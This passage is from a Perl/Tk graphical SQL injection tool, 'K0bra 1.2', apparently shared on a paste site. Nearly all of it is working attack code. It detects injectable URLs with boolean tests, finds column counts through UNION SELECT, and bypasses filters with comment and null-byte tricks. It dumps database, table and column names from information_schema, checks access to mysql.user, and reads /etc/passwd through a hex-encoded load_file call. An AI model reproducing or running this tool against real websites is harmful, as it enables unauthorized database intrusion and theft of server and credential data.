  426. savefile($save.".txt","[Column $real] : $1");
  427. $real++;
  428. }
  429. }
  430. $tatus->configure(-text=>" ");
  431. } else {
  432. msg("K0bra 1.2","information_schema not found");
  433. }
  434. }
  435. }
  436. }
  437.  
  438. sub schematablesdb {
  439.  
  440. $tablero->delete("0.0","end");
  441.  
  442. my $page = $targetero->get;
  443. my $save = partimealmedio($page);
  444.  
  445. $d = $datero->curselection();
  446.  
  447. for my $id (@$d) {
  448. my $db = $datero->get($id);
  449.  
  450. $tatus->configure(-text=>"Getting tables ...");
  451. $logo->update;
  452.  
  453. my $page1 = $page;
  454. savefile($save.".txt","\n");
  455. ($pass1,$pass2) = &bypass($bypass);
  456.  
  457. savefile($save.".txt","[DB] : $db");
  458. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  459. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  460. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  461. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  462. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  463. $logo->update;
  464. savefile($save.".txt","[+] Tables Length :  $1\n");
  465. my $limit = $1;
  466. $real = "1";
  467. for my $lim(0..$limit) {
  468. $logo->update;
  469. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  470. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  471. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  472. my $table = $1;
  473. chomp $table;
  474. savefile($save.".txt","[Table $real Found : $table ]");
  475. $tablero->insert("end",$db.".".$table);
  476. $real++;
  477. }}
  478. $tatus->configure(-text=>" ");
  479. } else {
  480. msg("K0bra 1.2","information_schema not found");
  481. }}}
  482.  
  483. sub getdbs {
  484.  
  485. my $page = $targetero->get;
  486. my $save = partimealmedio($page);
  487.  
  488. my $page1 = $page;
  489.  
  490. $datero->delete("0.0","end");
  491.  
  492. savefile($save.".txt","\n");
  493.  
  494. $tatus->configure(-text=>"Searching DBS ...");
  495. $logo->update;
  496. ($pass1,$pass2) = &bypass($bypass);
  497. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  498. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  499. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  500. my $limita = $1;
  501. $tatus->configure(-text=>"Databases Length : $limita");
  502. $logo->update;
  503. savefile($save.".txt","[+] Databases Length : $limita\n");
  504. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  505. $real = "1";
  506.  
  507. for my $limit(0..$limita) {
  508. $tatus->configure(-text=>"Getting databases ...");
  509. $logo->update;
  510. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  511. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  512. my $control = $1;
  513. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  514. $datero->insert("end",$control);
  515. savefile($save.".txt","[Database $real Found] : $control");
  516. $real++;
  517. }
  518. }
  519. }
  520. $tatus->configure(-text=>" ");
  521. $logo->update;
  522. } else {
  523. $tatus->configure(-text=>"information_schema not found");
  524. }
  525. }
  526.  
  527. sub toma {
  528. return $nave->get($_[0])->content;
  529. }
  530.  
  531. sub savefile {
  532. open (SAVE,">>logs/webs/".$_[0]);
  533. print SAVE $_[1]."\n";
  534. close SAVE;
  535. }
  536.  
  537. sub partimealmedio {
  538. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  539. my $save = $auth;
  540. $save=~s/:/_/;
  541. return $save;
  542. }
  543.  
  544. sub encode {
  545. my $string = $_[0];
  546. $hex = '0x';
  547. for (split //,$string) {
  548. $hex .= sprintf "%x", ord;
  549. }
  550. return $hex;
  551. }
  552.  
  553. sub decode {
  554. $_[0] =~ s/^0x//;
  555. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  556. return $encode;
  557. }
  558.  
  559. sub bypass {
  560. if ($_[0] eq "/*") { return ("/**/","/**/"); }
  561. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  562. else {return ("+","--");}}
  563.  
  564. sub ascii {
  565. return join ',',unpack "U*",$_[0];
  566. }
  567.  
  568. sub ascii_de {
  569. $_[0] = join q[], map { chr } split q[,],$_[0];
  570. return $_[0];
  571. }
  572.  
  573. sub installer {
  574. unless (-d "/logs/webs") {
  575. mkdir("logs/",777);
  576. mkdir("logs/webs/",777);
  577. }
  578. }
  579.  
  580. sub aboutxa {
  581. $logo->Dialog(-title=>"About",-buttons=>["OK"],-text=>"Coded By Doddy H",-background=>$color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  582. }
  583.  
  584. sub exitnow {
  585. exit 1;
  586. }
  587.  
  588. sub nownow {
  589.  
  590. my $page = $targetero->get;
  591. my $bypass = $bypass;
  592.  
  593. scan($page,$bypass);
  594.  
  595. }
  596.  
  597. sub scan {
  598.  
  599. my $page = $_[0];
  600.  
  601. ($pass1,$pass2) = &bypass($_[1]);
  602.  
  603. my $save = partimealmedio($_[0]);
  604.  
  605. $tatus->configure(-text=>"Scanning ...");
  606. $logo->update;
  607.  
  608. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  609. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  610.  
  611. unless ($testar1 eq $testar2) {
  612. motor($page,$_[1]);
  613. } else {
  614. $tatus->configure(-text=>"Not vulnerable");
  615. }
  616.  
  617. }
  618.  
  619. sub motor {
  620.  
  621. my ($gen,$save,$control) = &length($_[0],$_[1]);
  622.  
  623. if ($control eq 1) {
  624. $targetero->configure(-text=>$gen);
  625. $tatus->configure(-text=>"Enjoy the menu");
  626. } else {
  627. $tatus->configure(-text=>"Length columns not found");
  628. }
  629. }
  630.  
  631. sub length {
  632. $tatus->configure(-text=>"Looking for the number of columns ...");
  633. my $rows  = "0";
  634. my $asc;
  635. my $page = $_[0];
  636. ($pass1,$pass2) = &bypass($_[1]);
  637.  
  638. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  639. $total = "1";
  640. for my $rows(2..200) {
  641. $logo->update;
  642. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  643. $total.= ",".$rows;
  644. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  645. $test = toma($injection);
  646. if ($test=~/RATSXPDOWN/) {
  647. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  648. $control = 1;
  649.  
  650. my $save = partimealmedio($_[0]);
  651.  
  652. savefile($save.".txt","\n[Target confirmed] : $page");
  653. savefile($save.".txt","[Bypass] : $_[1]\n");
  654. savefile($save.".txt","[Limit] : The site has $rows columns");
  655. savefile($save.".txt","[Data] : The number @number print data");
  656. $total=~s/$number[0]/hackman/;
  657. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  658. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  659. }
  660. }
  661. }
  662.  
  663. sub openlogsk {
  664. my $cargar = partimealmedio($targetero->get);
  665. $t = "logs/webs/$cargar".".txt";
  666. system("start $t");
  667. }
  668.  
  669. sub details {
  670.  
  671. my $page = $targetero->get;
  672. my $bypass = $bypass;
  673. my $save = partimealmedio($page);
  674.  
  675. $informatero->delete("0.0","end");
  676.  
  677. ($pass1,$pass2) = &bypass($bypass);
  678. savefile($save.".txt","\n");
  679. if ($page=~/(.*)hackman(.*)/ig) {
  680. $tatus->configure(-text=>"Searching information ...");
  681. $logo->update;
  682. my  ($start,$end) = ($1,$2);
  683. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  684. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  685. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  686. $test1 = toma($inforschema);
  687. $test2 = toma($mysqluser);
  688. if ($test2=~/ERTOR854/ig) {
  689. savefile($save.".txt","[mysql.user] : ON");
  690. } else {
  691. savefile($save.".txt","[mysql.user] : OFF");
  692. }
  693. if ($test1=~/ERTOR854/ig) {
  694. savefile($save.".txt","[information_schema.tables] : ON");
  695. } else {
  696. savefile($save.".txt","[information_schema.tables] : OFF");
  697. }
  698. if ($test3=~/ERTOR854/ig) {
  699. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  700. }
  701. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  702. $injection = $start.$concat.$end.$pass2;
  703. $code = toma($injection);
  704. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  705.  
  706. $informatero->insert("end","DB Version : $1");
  707. $informatero->insert("end","DB Name : $2");
  708. $informatero->insert("end","Username : $3");
  709. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n");
  710. $tatus->configure(-text=>" ");
  711. } else {
  712. $tatus->configure(-text=>"Not found any data");
  713. }
  714. }
  715. }
  716.  
  717. # The End ?
Add Comment
Please, Sign In to add comment